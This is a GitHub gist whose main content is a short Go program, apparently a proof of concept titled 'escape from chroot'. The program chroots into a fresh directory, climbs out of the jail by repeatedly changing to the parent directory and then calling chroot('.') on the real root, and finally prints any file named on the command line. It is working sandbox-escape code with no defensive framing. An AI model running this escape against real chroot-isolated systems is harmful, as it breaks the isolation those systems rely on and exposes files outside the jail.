Skip to content

Instantly share code, notes, and snippets.

@hayajo
Last active October 23, 2020 03:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hayajo/a85cb63d357b78ae4a0cef7b76a0961c to your computer and use it in GitHub Desktop.
Save hayajo/a85cb63d357b78ae4a0cef7b76a0961c to your computer and use it in GitHub Desktop.
chrootからの脱出
package main
import (
"fmt"
"io/ioutil"
"os"
"syscall"
)
func main() {
dir := fmt.Sprintf("chroot-escape.%d", os.Getpid())
if len(os.Args[1:]) == 0 {
os.Exit(1)
}
must(os.Mkdir(dir, 0755))
must(syscall.Chroot(dir))
wd, err := os.Getwd()
must(err)
fmt.Printf("escape from chrooted %s\n", wd)
// escape
// must(syscall.Chroot("../../../../../../../../../../../../../../../../"))
for i := 0; ; i++ {
wd, _ := os.Getwd()
if wd == "/" || i > 255 {
break
}
syscall.Chdir("..")
}
must(syscall.Chroot("."))
data, err := ioutil.ReadFile(os.Args[1])
must(err)
fmt.Fprint(os.Stdout, string(data))
}
func must(err error) {
if err != nil {
panic(err)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment